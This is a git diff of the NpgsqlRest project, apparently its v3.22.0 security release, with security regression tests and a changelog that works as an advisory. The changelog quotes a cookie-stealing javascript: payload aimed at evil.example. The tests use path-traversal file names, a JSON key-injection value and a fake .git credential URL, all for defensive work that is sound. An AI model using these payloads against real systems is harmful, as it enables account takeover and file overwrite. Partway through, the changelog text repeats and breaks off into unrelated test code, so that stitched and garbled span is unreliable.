raw: enums produced invalid JSON ({"mood":happy}), a domain over text let stored data +/// inject JSON keys, and an empty value failed with HTTP 500. +/// +[Collection("TestFixture")] +public class EnumAndDomainReturnTests(TestFixture test) +{ + [Fact] + public async Task Enum_and_domain_columns_are_json_strings() + { + using var client = test.Application.CreateClient(); + client.Timeout = TimeSpan.FromHours(1); + + using var response = await client.GetAsync("/api/get-enum-domain-values/"); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var content = await response.Content.ReadAsStringAsync(); + content.Should().Be("""[{"mood":"happy","label":"\"x\",\"isAdmin\":true,\"y\":\"z","emptyLabel":""}]"""); + } +} diff --git a/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs b/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs index 31e8f6f9..358f4b44 100644 --- a/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs +++ b/NpgsqlRestTests/Setup/StaticFilesTestFixture.cs @@ -31,6 +31,7 @@ public class StaticFilesTestFixture : IDisposable public HttpClient Client => _client; public HttpClient AuthenticatedClient => _authenticatedClient; public string ServerAddress { get; } + public string WebRootPath => _webRootPath; /// /// Test claim values for authenticated user diff --git a/NpgsqlRestTests/Setup/UserContextLeakTestFixture.cs b/NpgsqlRestTests/Setup/UserContextLeakTestFixture.cs new file mode 100644 index 00000000..b6331359 --- /dev/null +++ b/NpgsqlRestTests/Setup/UserContextLeakTestFixture.cs @@ -0,0 +1,72 @@ +using System.Security.Claims; +using Microsoft.AspNetCore.Authentication.Cookies; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Npgsql; + +namespace NpgsqlRestTests.Setup; + +[CollectionDefinition("UserContextLeakTestFixture")] +public class UserContextLeakTestFixtureCollection : ICollectionFixture { } + +/// +/// Reproduces the pooled-connection identity leak: a pool of exactly one connection that is NOT reset on close +/// (the configuration the npgsqlrest client used to force), so consecutive requests share one session and any +/// session-level user_context setting left by one request is visible to the next. +/// +public class UserContextLeakTestFixture : IDisposable +{ + private readonly WebApplication _app; + + public string ServerAddress { get; } + + public UserContextLeakTestFixture() + { + var connectionString = new NpgsqlConnectionStringBuilder(Database.Create()) + { + NoResetOnClose = true, + MaxPoolSize = 1, + }.ConnectionString; + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + builder.Services.AddAuthentication().AddCookie(); + + _app = builder.Build(); + + _app.MapGet("/ucl-login", () => Results.SignIn(new ClaimsPrincipal(new ClaimsIdentity( + claims: + [ + new Claim("user_id", "123"), + new Claim("user_name", "admin"), + ], + authenticationType: CookieAuthenticationDefaults.AuthenticationScheme)))); + + _app.UseNpgsqlRest(new(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "ucl[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + AuthenticationOptions = new() + { + ClaimsJsonContextKey = "request.user_claims", + }, + }); + + _app.StartAsync().GetAwaiter().GetResult(); + ServerAddress = _app.Urls.First(); + } + +#pragma warning disable CA1816 + public void Dispose() +#pragma warning restore CA1816 + { + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs index 8583a560..4e019fff 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileAuthorizedTests.cs @@ -36,31 +36,31 @@ public static void SqlFileAuthorizedTests() // Authorized by user name — matches "user" File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_name.sql"), """ - -- @authorize user + -- @authorize user:user select 'by_name' as result; """); // Authorized by user name — wrong name File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_name_wrong.sql"), """ - -- @authorize wrong_user + -- @authorize user:wrong_user select 'by_name_wrong' as result; """); // Authorized by user ID — matches "user123" File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_userid.sql"), """ - -- @authorize user123 + -- @authorize id:user123 select 'by_userid' as result; """); // Authorized by user ID — wrong ID File.WriteAllText(Path.Combine(Dir, "sf_authorized_by_userid_wrong.sql"), """ - -- @authorize wrong_id + -- @authorize id:wrong_id select 'by_userid_wrong' as result; """); // Authorized mixed — wrong role but matching user ID File.WriteAllText(Path.Combine(Dir, "sf_authorized_mixed.sql"), """ - -- @authorize wrong_role, user123 + -- @authorize wrong_role, id:user123 select 'mixed' as result; """); diff --git a/NpgsqlRestTests/StaticFilesTests/StaticFilesPathNormalizationTests.cs b/NpgsqlRestTests/StaticFilesTests/StaticFilesPathNormalizationTests.cs new file mode 100644 index 00000000..d613d9cd --- /dev/null +++ b/NpgsqlRestTests/StaticFilesTests/StaticFilesPathNormalizationTests.cs @@ -0,0 +1,66 @@ +namespace NpgsqlRestTests.StaticFilesTests; + +/// +/// Security regressions for the static file middleware: +/// - AuthorizePaths must apply to every request path that resolves to the protected file ("//protected/..." used to +/// bypass the "/protected/*" rule because patterns were matched against the raw request path); +/// - files inside dot-directories (.git, .svn, ...) must not be served. +/// +[Collection("StaticFilesTestFixture")] +public class StaticFilesPathNormalizationTests(StaticFilesTestFixture test) +{ + private HttpClient AnonymousNoRedirect() => + new(new HttpClientHandler { AllowAutoRedirect = false, UseCookies = false }); + + private Uri Url(string rawPath) => new(test.ServerAddress.TrimEnd('/') + rawPath); + + [Fact] + public async Task Protected_file_redirects_anonymous_user() + { + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url("/protected/secret.html")); + + response.StatusCode.Should().Be(HttpStatusCode.Redirect); + response.Headers.Location!.ToString().Should().Be("/login.html?return_to=%2Fprotected%2Fsecret.html"); + } + + [Theory] + [InlineData("//protected/secret.html")] + [InlineData("///protected/secret.html")] + [InlineData("/protected//secret.html")] + public async Task Path_variants_of_a_protected_file_are_protected_too(string rawPath) + { + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url(rawPath)); + + response.StatusCode.Should().Be(HttpStatusCode.Redirect); + response.Headers.Location!.ToString().Should().StartWith("/login.html?return_to="); + } + + [Fact] + public async Task Files_in_dot_directories_are_not_served() + { + var gitDir = Path.Combine(test.WebRootPath, ".git"); + Directory.CreateDirectory(gitDir); + File.WriteAllText(Path.Combine(gitDir, "config"), "[remote \"origin\"]\n\turl = https://token@example.com/repo.git\n"); + + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url("/.git/config")); + + response.StatusCode.Should().Be(HttpStatusCode.NotFound); + } + + [Fact] + public async Task Well_known_directory_is_still_served() + { + var wellKnown = Path.Combine(test.WebRootPath, ".well-known"); + Directory.CreateDirectory(wellKnown); + File.WriteAllText(Path.Combine(wellKnown, "security.txt"), "Contact: mailto:security@example.com\n"); + + using var client = AnonymousNoRedirect(); + using var response = await client.GetAsync(Url("/.well-known/security.txt")); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("Contact: mailto:security@example.com\n"); + } +} diff --git a/NpgsqlRestTests/UploadTests/FileSystemUploadTraversalTests.cs b/NpgsqlRestTests/UploadTests/FileSystemUploadTraversalTests.cs new file mode 100644 index 00000000..ee68a3b1 --- /dev/null +++ b/NpgsqlRestTests/UploadTests/FileSystemUploadTraversalTests.cs @@ -0,0 +1,127 @@ +using System.Net.Http.Headers; +using NpgsqlRest.UploadHandlers.Handlers; + +namespace NpgsqlRestTests; + +/// +/// Security regression: file system uploads must never write outside the upload directory - not through the client's +/// multipart file name, and not through "path" / "file" values templated from request parameters. +/// Uses fs_custom_parameter_upload and fs_upload1 from FileSystemUploadTests. +/// +[Collection("TestFixture")] +public class FileSystemUploadTraversalTests(TestFixture test) +{ + private static MultipartFormDataContent Form(string fileName, string content) + { + var form = new MultipartFormDataContent(); + var bytes = new ByteArrayContent(Encoding.UTF8.GetBytes(content)); + bytes.Headers.ContentType = new MediaTypeHeaderValue("text/csv"); + form.Add(bytes, "file", fileName); + return form; + } + + private static (string status, bool success, string? filePath) Result(string json) + { + var item = JsonDocument.Parse(json).RootElement[0]; + var filePath = item.GetProperty("filePath"); + return (item.GetProperty("status").GetString()!, item.GetProperty("success").GetBoolean(), + filePath.ValueKind == JsonValueKind.Null ? null : filePath.GetString()); + } + + [Fact] + public async Task Templated_file_name_with_parent_segments_is_rejected() + { + var escaped = Path.GetFullPath("./escaped-by-file-param.csv"); + File.Delete(escaped); + using var form = Form("data.csv", "a,b\n1,2\n"); + var query = new QueryBuilder { { "path", "./test" }, { "file", "../escaped-by-file-param.csv" }, { "uniqueName", "false" }, { "createPath", "true" } }; + + using var response = await test.Client.PostAsync($"/api/fs-custom-parameter-upload/{query}", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + Result(await response.Content.ReadAsStringAsync()).Should().Be(("InvalidFileName", false, (string?)null)); + File.Exists(escaped).Should().BeFalse(); + } + + [Fact] + public async Task Templated_absolute_file_name_is_rejected() + { + var target = Path.Combine(Path.GetTempPath(), "npgsqlrest-absolute-upload.csv"); + File.Delete(target); + using var form = Form("data.csv", "a,b\n1,2\n"); + var query = new QueryBuilder { { "path", "./test" }, { "file", target }, { "uniqueName", "false" }, { "createPath", "true" } }; + + using var response = await test.Client.PostAsync($"/api/fs-custom-parameter-upload/{query}", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + Result(await response.Content.ReadAsStringAsync()).Should().Be(("InvalidFileName", false, (string?)null)); + File.Exists(target).Should().BeFalse(); + } + + [Fact] + public async Task Templated_upload_path_with_parent_segments_is_rejected() + { + var outside = Path.GetFullPath("../npgsqlrest-upload-outside"); + if (Directory.Exists(outside)) + { + Directory.Delete(outside, recursive: true); + } + using var form = Form("data.csv", "a,b\n1,2\n"); + var query = new QueryBuilder { { "path", "../npgsqlrest-upload-outside" }, { "file", "data.csv" }, { "uniqueName", "false" }, { "createPath", "true" } }; + + using var response = await test.Client.PostAsync($"/api/fs-custom-parameter-upload/{query}", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + Result(await response.Content.ReadAsStringAsync()).Should().Be(("InvalidFileName", false, (string?)null)); + Directory.Exists(outside).Should().BeFalse(); + } + + [Fact] + public async Task Client_file_name_is_reduced_to_its_last_segment() + { + var escaped = Path.GetFullPath("../../client-escape-test.csv"); + File.Delete(escaped); + File.Delete("./client-escape-test.csv"); + using var form = Form("../../client-escape-test.csv", "a,b\n1,2\n"); + + using var response = await test.Client.PostAsync("/api/fs-upload1/", form); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + var (status, success, filePath) = Result(await response.Content.ReadAsStringAsync()); + (status, success).Should().Be(("Ok", true)); + filePath.Should().BeOneOf("./client-escape-test.csv", ".\\client-escape-test.csv"); + File.Exists("./client-escape-test.csv").Should().BeTrue(); + File.Exists(escaped).Should().BeFalse(); + File.Delete("./client-escape-test.csv"); + } + + [Theory] + [InlineData(null, "report.csv", false, "uploads/report.csv")] + [InlineData(null, "../../etc/passwd", false, "uploads/passwd")] + [InlineData(null, "..\\..\\windows\\win.ini", false, "uploads/win.ini")] + [InlineData(null, "C:\\Users\\me\\report.csv", false, "uploads/report.csv")] + [InlineData(null, "..", false, null)] + [InlineData(null, "", false, null)] + [InlineData("sub/report.csv", "x.csv", false, "uploads/sub/report.csv")] + [InlineData("../report.csv", "x.csv", false, null)] + [InlineData("sub/../../report.csv", "x.csv", false, null)] + [InlineData("/etc/report.csv", "x.csv", false, null)] + public void Resolves_only_paths_inside_the_upload_directory(string? configured, string client, bool unique, string? expected) + { + var resolved = FileSystemUploadHandler.ResolveSafeFilePath("uploads", configured, client, unique); + resolved?.Replace('\\', '/').Should().Be(expected); + if (expected is null) + { + resolved.Should().BeNull(); + } + } + + [Fact] + public void Unique_name_keeps_only_the_extension() + { + var resolved = FileSystemUploadHandler.ResolveSafeFilePath("uploads", null, "../../evil.csv", useUniqueFileName: true); + resolved.Should().NotBeNull(); + Path.GetDirectoryName(resolved).Should().Be("uploads"); + Path.GetExtension(resolved).Should().Be(".csv"); + } +} diff --git a/changelog/v3.22.0.md b/changelog/v3.22.0.md new file mode 100644 index 00000000..b59232d0 --- /dev/null +++ b/changelog/v3.22.0.md @@ -0,0 +1,278 @@ +# Changelog v3.22.0 + +## Version [3.22.0](https://github.com/NpgsqlRest/NpgsqlRest/tree/3.22.0) (2026-11-11) + +[Full Changelog](https://github.com/NpgsqlRest/NpgsqlRest/compare/3.21.0...3.22.0) + +This release moves NpgsqlRest to **.NET 11** and is a **security release**. A full review of the codebase found several vulnerabilities, including one critical issue in password login. **Everyone should upgrade.** Some security fixes change behavior that applications may rely on. Each is described below, with what to check before upgrading. + +### Upgrade notes (read this first) + +- **.NET 11 is required.** The `NpgsqlRest` library and all plugin packages now target `net11.0`, so applications that use the library need .NET 11. The `npgsqlrest` executable and Docker images are self-contained, so nothing changes for them. +- **Password login is stricter.** If your login function returns a password hash column, a login now always fails unless the password was actually checked against that hash. See [Login no longer succeeds without a verified password](#login-no-longer-succeeds-without-a-verified-password). + +--- + +### .NET 11 + +- All projects target `net11.0` and compile with C# 15. This includes the core library, the `npgsqlrest` client, every plugin, and the test and benchmark projects. +- The JIT Docker image (`Dockerfile.jit`) uses the .NET 11 `aspnet` and `sdk` base images. The native AOT images are unchanged; they build a self-contained binary. +- CI builds, tests and publishes with the .NET 11 SDK. `global.json` pins SDK `11.0.100`. +- **Runtime Async is not enabled.** .NET 11 introduces Runtime Async (`runtime-async=on`), which replaces compiler-generated async state machines with runtime-managed suspension. NpgsqlRest was tested with it, and it is deliberately left off for now: + - The native AOT build of `npgsqlrest` crashed on the very first request when Runtime Async was on. JIT builds were fine. + - It made each request allocate more memory, not less. NpgsqlRest's request handler is one very large async method, and under Runtime Async it saved about 13.7 KB of state every time it waited for I/O, compared with one 0.8 KB object before. + + Runtime Async will be re-evaluated once the request handler is split into smaller methods. + +--- + +### Security fixes + +#### Login no longer succeeds without a verified password + +**Severity: Critical.** Applies to endpoints marked with the `login` annotation whose function returns the password hash column (`hash` by default, set by `NpgsqlRest:AuthenticationOptions:HashColumnName`). This is the documented password-login pattern. + +**What was wrong.** With this pattern, the login function returns the user's stored password hash, and NpgsqlRest checks the submitted password against it. But the check was silently **skipped**, and the user **signed in**, whenever: + +- the client sent the password as JSON `null` (for example `{"username": "admin", "password": null}`); +- the password parameter has a default value in the function and the client left it out; +- the stored hash for that user is `NULL`, for example an account created through external login or passkeys that has no password; +- no function parameter name contains the configured text (`PasswordParameterNameContains`, default `"pass"`), so NpgsqlRest could not tell which parameter holds the password. Only a log warning was written; +- `PasswordHasher` was set to `null`. + +In practice, anyone who knew a username could log in as that user, including administrators, by sending a null password. + +**What changed.** When the login result contains the hash column, the password check is now mandatory. Each case above fails the login exactly like a wrong password: HTTP `404`, the configured `PasswordVerificationFailedCommand` runs (so failed-login tracking and lockouts see the attempt), and no one is signed in. + +**What to check.** Correct applications are not affected: a valid username and password still logs in. If you have accounts without a password (a `NULL` hash) that previously logged in through this endpoint, that only worked because of this bug. Those accounts now need a password, or must use their external login or passkey. + +#### Passkeys: a signed-in user could add their passkey to someone else's account + +**Severity: High.** Applies to the `npgsqlrest` client with passkey authentication enabled (`Auth:PasskeyAuth:Enabled`). + +**What was wrong.** Adding a passkey takes two requests. The "options" request returns a `userContext` object that the database produced (it identifies the account), and the browser sends that object back with the completion request. The server passed whatever came back straight to `CompleteAddExistingUserCommand` without checking it. The documented example SQL reads the target account from it (`_user_context->>'id'`), so a signed-in user could change the id and attach their own passkey to another account, such as an administrator's, then sign in as that user. New-user registration (`CompleteRegistrationCommand`) had the same weakness: the client could change any registration data in `userContext`. + +**What changed.** The server now adds a sealed copy of the `userContext` it issues, in a `_protected` property, encrypted and signed with ASP.NET Core Data Protection. The seal is tied to the challenge. When a passkey is added to an existing account, it is also tied to the signed-in user. The completion endpoints reject a missing or invalid seal with `400 invalid_request` ("Invalid user context"), and the SQL command always receives the server's own copy, never the client's. + +**What to check.** +- Frontends that send `userContext` back unchanged, as the documented examples do, keep working. +- A frontend that builds or edits `userContext` itself is rejected; send back exactly what the options endpoint returned. +- When running several instances, configure shared Data Protection keys (the `DataProtection` section). Without them, a challenge started on one instance cannot be completed on another, just like cookie authentication. + +#### A request could run as the previous user (`user_context` on pooled connections) + +**Severity: High.** Applies to endpoints using the `user_context` annotation, and to SQL that reads `current_setting('request.user_id')` or similar, for example row-level security policies. + +**What was wrong.** `user_context` passes the caller's identity to PostgreSQL as session settings (`request.user_id`, `request.user_name`, `request.user_roles`, and the claims JSON key). Without a transaction, these are **session-level** settings: they stay on the database connection after the request ends. Two things combined into a leak: + +- The `npgsqlrest` client always added `No Reset On Close=true` to the connection string, so Npgsql never cleared session state when a connection went back to the pool. +- For **anonymous** requests, the user keys were not set at all, so they kept whatever value was left on the connection. + +As a result, an anonymous request that reused a connection last used by a signed-in user ran with that user's `request.user_id`, `request.user_name` and roles. Endpoints without `user_context` that read these settings (for example through RLS policies) could see the previous caller's identity too. + +**What changed.** +- The `npgsqlrest` client no longer forces `No Reset On Close`. Npgsql resets the connection when it returns to the pool again, which clears all session settings. The reset is sent together with the next command, so it adds no extra round trip. You can still set `No Reset On Close=true` yourself in the connection string. +- For anonymous requests, `user_context` endpoints now set every user key, and the claims JSON key if configured, to NULL instead of skipping them. So `user_context` endpoints never see a previous identity, even when connections are not reset. +- At startup, the library warns when the connection string sets `No Reset On Close` while endpoints use `user_context` or `request_headers context` (unless `WrapInTransaction` is on). + +**What to check.** Once a session has used a setting, PostgreSQL returns an **empty string**, not NULL, for it after it is cleared. This also happens after a connection reset. If your SQL casts the value, write `nullif(current_setting('request.user_id', true), '')::int` rather than `current_setting('request.user_id', true)::int`. The plain cast fails for anonymous requests on a reused connection. + +#### Breaking: anonymous callers can no longer fill user parameters (`user_params`) + +**Severity: High.** Applies to endpoints using the `user_params` annotation (or `UseUserParameters`) that anonymous users can call, meaning endpoints that do not require authorization. + +**What was wrong.** With `user_params`, parameters such as `_user_id`, `_user_name`, `_user_roles` (configured in `ParameterNameClaimsMapping`) and `_user_claims` are meant to be filled by the server from the signed-in user's claims. Generated TypeScript and Dart clients, OpenAPI documents and MCP tool schemas all leave them out for that reason. For signed-in users the claim always won. For **anonymous** requests, though, the server filled nothing, and a value sent by the client was used as-is. A request such as `GET /api/orders?userId=1` on an endpoint open to anonymous users therefore ran as user 1, and a client could also send a forged `userClaims` JSON. + +**What changed.** For anonymous requests, values the client sends for these parameters (in the query string or the JSON body) are now ignored. The function receives them as "not provided", so its default value is used, or NULL if there is none. + +**What to check.** If an endpoint expected anonymous callers to pass one of these parameters on purpose, that no longer works. Rename the parameter so it is not claim-mapped, or require authentication. + +#### External login: `return_to` could run script or redirect to another site + +**Severity: High.** Applies to the `npgsqlrest` client with external (OAuth) login enabled (`Auth:External`). + +**What was wrong.** The external sign-in page (for example `/signin-google`) accepts a `return_to` query parameter, whose name is set by `ReturnToPathQueryStringKey`, and sends the browser there after the provider round trip. The value was used without any check: +- A link such as `/signin-google?return_to=javascript:fetch('//evil.example/?c='+document.cookie)` ran attacker-controlled script on your site's origin once the victim finished signing in, or even after they cancelled. +- `return_to=https://evil.example` turned your login page into an open redirect. + +**What changed.** `return_to` must now be a path on the same site, such as `/dashboard?tab=2#top`. Absolute and protocol-relative URLs (`https://…`, `//…`, `/\…`), `javascript:` and other schemes, and values with control characters are ignored, and the user goes to the default page instead. + +**What to check.** If you passed full URLs in `return_to`, pass a path instead. + +#### A large stored value could crash the whole server + +**Severity: High (availability).** Applies to all applications. + +**What was wrong.** When writing certain values into a response, NpgsqlRest built the quoted value in a temporary buffer on the thread's stack, sized by the length of the value: +- every text and date value in CSV-style output (`raw` with `separator`); +- JSON values of types such as `varbit`, ranges, `interval`, `inet`, `geometry`. + +A value of a few hundred thousand characters overflowed the stack. In .NET, a stack overflow cannot be caught: it ends the **entire process**, not just the request. Anyone able to store a long text (a comment, a description, an uploaded document) could take the server down, and it went down again every time that data was requested. + +**What changed.** Only small values (up to 512 characters) still use a stack buffer. Larger values use a pooled heap buffer or are built directly. Responses are the same as before. + +#### Enum and domain columns: invalid JSON and JSON injection + +**Severity: Medium.** Applies to functions and queries that return columns of an **enum** type or a **domain** type. + +**What was wrong.** NpgsqlRest has no specific mapping for enum and domain types, and it wrote their text into JSON responses unquoted: +- An enum value produced invalid JSON: `{"mood":happy}`. +- A domain over `text` let stored data inject JSON keys. A value such as `x","isAdmin":true,"y":"z` turned into an extra `isAdmin` property. +- An empty value failed with HTTP `500` ("Index was outside the bounds of the array"). + +**What changed.** These values are now written as properly escaped JSON strings: `{"mood":"happy"}`, and the domain value above stays one string, `"x\",\"isAdmin\":true,\"y\":\"z"`. An empty value becomes `""`. + +#### File uploads could be written outside the upload directory + +**Severity: High.** Applies to `upload for file_system` endpoints that keep the original file name (`unique_name = false`) or that build the upload `path` or `file` from request parameters (for example `path = {_path}`). + +**What was wrong.** The upload directory and the file name were joined without any checks: +- The file name the browser sends with the upload can be anything, including `../../app/appsettings.json` or an absolute path. With `unique_name = false`, the file was written there, overwriting any file the server process could write to. +- An upload `path` or `file` built from request values could contain the same thing, even with unique names. + +**What changed.** +- The client's file name is reduced to the bare name, with both `/` and `\` treated as separators: `../../etc/passwd` becomes `passwd`. The values `.` and `..` are refused. +- A `file` value must be a relative path without `..` segments. A `path` value must not contain `..` segments. +- The final location must be inside the upload directory. + +A file that breaks these rules is not written. Its entry in the upload result has `"success": false`, `"status": "InvalidFileName"` and `"filePath": null`, just like files rejected for their type or content. Uploads with normal names are unaffected, and `filePath` is reported in the same form as before. + +#### Static files: protected pages reachable through path variants, `.git` served, unbounded memory + +**Severity: Medium.** Applies to the `npgsqlrest` client serving static files (the `StaticFiles` section). + +**What was wrong.** +- **`AuthorizePaths` could be bypassed.** The rules were matched against the raw request path, while the file itself was found through a normalized path. A request for `//protected/page.html` did not match the rule `/protected/*`, yet still served `/protected/page.html` to anonymous users. The same applied to `///…` and other variants, and to `\` on Windows. +- **Files inside dot-directories were served.** Dotfiles such as `.env` were already excluded, but a file *inside* a dot-directory was not: if the web root contained a `.git` folder, `/.git/config` (which can contain credentials) and the whole repository history could be downloaded. +- **Memory grew without limit.** Small per-path caches, and the cache of parsed HTML templates (`CacheParsedFile`), were keyed by the raw request path. Every `//` or case variant of an existing file added another entry, and parsed HTML files were stored again in full each time. + +**What changed.** +- `AuthorizePaths` and `ParsePatterns` are matched against the canonical path of the file actually served (its path relative to the web root), so every variant is protected the same way. +- Paths with a segment starting with `.` are no longer served. The exception is `/.well-known/`, which is used for ACME challenges and `security.txt`. +- The per-path pattern caches are removed (the matching is cheap). The parsed-template cache is keyed by the physical file and limited to 1,000 entries. + +#### Claim values in parsed static HTML could inject script + +**Severity: Medium.** Applies to static file parsing (`StaticFiles:ParseContentOptions`) with claims or environment variables templated into HTML pages, such as `{user_name}`. + +**What was wrong.** Values were JSON-escaped with the "relaxed" encoder, which leaves `<`, `>` and `&` as they are. Claim values often come from data a user controls, such as a display name returned by the login function or an OAuth profile name. A value like `` closed the surrounding `` closed the surrounding `` closed the surrounding ` & more")] + [InlineData("\u0000\u0001\u001f\u007f\u0080\u009f\u00a0\u2028\u2029\ufeff\ufffd")] + [InlineData("{\"json\": [1, 2, {\"nested\": \"value\"}]}")] + public void JsonString_matches_SerializeString(string text) + { + JsonStringUtf8(text).Should().Be(PgConverters.SerializeString(text)); + } + + [Fact] + public void JsonString_matches_SerializeString_for_long_and_random_text() + { + var random = new Random(12345); + var alphabet = "abc XYZ 019 \"\\\n\t\u0001žš€😀\u00a0\u2028".EnumerateRunes().ToArray(); + for (int n = 0; n < 500; n++) + { + var sb = new StringBuilder(); + int length = random.Next(0, 300); + for (int i = 0; i < length; i++) + { + sb.Append(alphabet[random.Next(alphabet.Length)].ToString()); + } + var text = sb.ToString(); + JsonStringUtf8(text).Should().Be(PgConverters.SerializeString(text)); + } + var big = new string('x', 100_000) + "\"" + new string('y', 100_000); + JsonStringUtf8(big).Should().Be(PgConverters.SerializeString(big)); + } + + public static IEnumerable ArrayCases() + { + string[] types = ["text[]", "varchar[]", "integer[]", "numeric[]", "boolean[]", "timestamp[]", "timestamptz[]", "date[]", "json[]", "jsonb[]", "uuid[]"]; + string[] inputs = + [ + "{}", + "{a}", + "{a,b,c}", + "{1,2,3}", + "{1.5,-2,NULL}", + "{t,f,NULL}", + "{NULL}", + "{\"NULL\",NULL,null}", + "{\"a b\",\"c,d\",\"e\\\"f\",\"g\\\\h\"}", + "{\"a\\\\\",\"b,c\",\"d\\\"e\"}", + "{\"\",\"x\"}", + "{{1,2},{3,4}}", + "{{a,b},{c,NULL}}", + "{{{1},{2}},{{3},{4}}}", + "{\"2026-01-01 10:00:00\",\"2026-01-02 11:30:00+02\"}", + "{2026-01-01,2026-12-31}", + "{\"{\\\"a\\\": 1}\",\"{\\\"b\\\": [1, 2]}\"}", + "{žćč,\"ünï cödé\",😀}", + "{\"line\nbreak\",\"tab\tchar\"}", + "{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11,NULL}", + "not an array", + "", + "{", + "{a", + ]; + foreach (var type in types) + { + foreach (var input in inputs) + { + yield return [type, input]; + } + } + } + + [Theory] + [MemberData(nameof(ArrayCases))] + public void Array_matches_PgArrayToJsonArray(string type, string input) + { + var descriptor = new TypeDescriptor(type); + var expected = PgConverters.PgArrayToJsonArray(input, descriptor).ToString(); + var actual = Utf8(b => PgUtf8Converters.AppendPgArrayAsJson(b, Encoding.UTF8.GetBytes(input), descriptor)); + actual.Should().Be(expected); + } + + [Theory] + [InlineData("")] + [InlineData("plain")] + [InlineData("with \"quotes\" inside")] + [InlineData("\"\"")] + [InlineData("žćč \"😀\"")] + public void CsvQuoted_matches_QuoteText(string text) + { + Utf8(b => PgUtf8Converters.AppendCsvQuoted(b, Encoding.UTF8.GetBytes(text))).Should().Be(PgConverters.QuoteText(text)); + } + + [Theory] + [InlineData("2026-01-01 10:00:00+00")] + [InlineData("2026-01-01")] + [InlineData("10:00:00")] + [InlineData("infinity")] + [InlineData("")] + public void QuotedDateTime_matches_QuoteDateTime(string text) + { + ReadOnlySpan span = text; + var expected = PgConverters.QuoteDateTime(ref span); + Utf8(b => PgUtf8Converters.AppendQuotedDateTime(b, Encoding.UTF8.GetBytes(text))).Should().Be(expected); + } + + [Fact] + public void Utf8Buffer_appends_and_grows() + { + var buffer = Utf8Buffer.Rent(); + try + { + buffer.Append('{'); + buffer.Append("\"ključ\":"); + buffer.Append("vrijednost 😀".AsSpan()); + buffer.Append((byte)','); + buffer.Append(new string('z', 5000)); // forces growth + buffer.Append('é'); + buffer.ToString().Should().Be("{\"ključ\":vrijednost 😀," + new string('z', 5000) + "é"); + buffer.Clear(); + buffer.Length.Should().Be(0); + } + finally + { + Utf8Buffer.Return(buffer); + } + } + + [Fact] + public void Utf8Buffer_is_reused_from_the_pool() + { + var first = Utf8Buffer.Rent(); + first.Append("used"); + Utf8Buffer.Return(first); + var second = Utf8Buffer.Rent(); + second.Should().BeSameAs(first); + second.Length.Should().Be(0); + Utf8Buffer.Return(second); + } +} diff --git a/NpgsqlRestTests/RenderTests/BufferRowsTests.cs b/NpgsqlRestTests/RenderTests/BufferRowsTests.cs new file mode 100644 index 00000000..7480df4b --- /dev/null +++ b/NpgsqlRestTests/RenderTests/BufferRowsTests.cs @@ -0,0 +1,101 @@ +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void BufferRowsTests() + { + script.Append(""" +create function buffer_rows_zero() returns table (id int, name text) language sql as $$ +select i, 'row ' || i from generate_series(1, 5) i $$; +comment on function buffer_rows_zero() is 'HTTP GET +buffer_rows 0'; + +create function buffer_rows_one() returns table (id int, name text) language sql as $$ +select i, 'row ' || i from generate_series(1, 5) i $$; +comment on function buffer_rows_one() is 'HTTP GET +buffer_rows 1'; + +create function buffer_rows_two() returns table (id int, name text) language sql as $$ +select i, 'row ' || i from generate_series(1, 5) i $$; +comment on function buffer_rows_two() is 'HTTP GET +buffer_rows 2'; + +-- fails at row 40 (division by zero), after more than the default 25 buffered rows. +-- stable + a single select: PostgreSQL inlines the function and streams its rows, so the first 39 rows really +-- arrive before the error (a non-inlined function would be materialized and fail before sending any row). +create function buffer_rows_fails_midway() returns table (id int, value int) language sql stable as $$ +select i, 100 / (40 - i) from generate_series(1, 60) i $$; +comment on function buffer_rows_fails_midway() is 'HTTP GET'; + +create function buffer_rows_large(_count int) returns table (id int, name text, tags text[]) language sql as $$ +select i, 'name ' || i, array['a' || i, 'b' || i] from generate_series(1, _count) i $$; +comment on function buffer_rows_large(int) is 'HTTP GET'; +"""); + } +} + +/// +/// buffer_rows controls how many rows are collected before they are written to the response: 0 = every row, +/// 1 = all rows at once, N = every N rows. The response is the same in every mode. +/// (0 used to fail with a division by zero.) +/// +[Collection("TestFixture")] +public class BufferRowsTests(TestFixture test) +{ + private const string Expected = + "[{\"id\":1,\"name\":\"row 1\"},{\"id\":2,\"name\":\"row 2\"},{\"id\":3,\"name\":\"row 3\"},{\"id\":4,\"name\":\"row 4\"},{\"id\":5,\"name\":\"row 5\"}]"; + + [Theory] + [InlineData("/api/buffer-rows-zero/")] + [InlineData("/api/buffer-rows-one/")] + [InlineData("/api/buffer-rows-two/")] + public async Task Rows_are_complete_for_every_buffer_setting(string path) + { + using var response = await test.Client.GetAsync(path); + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be(Expected); + } + + /// + /// 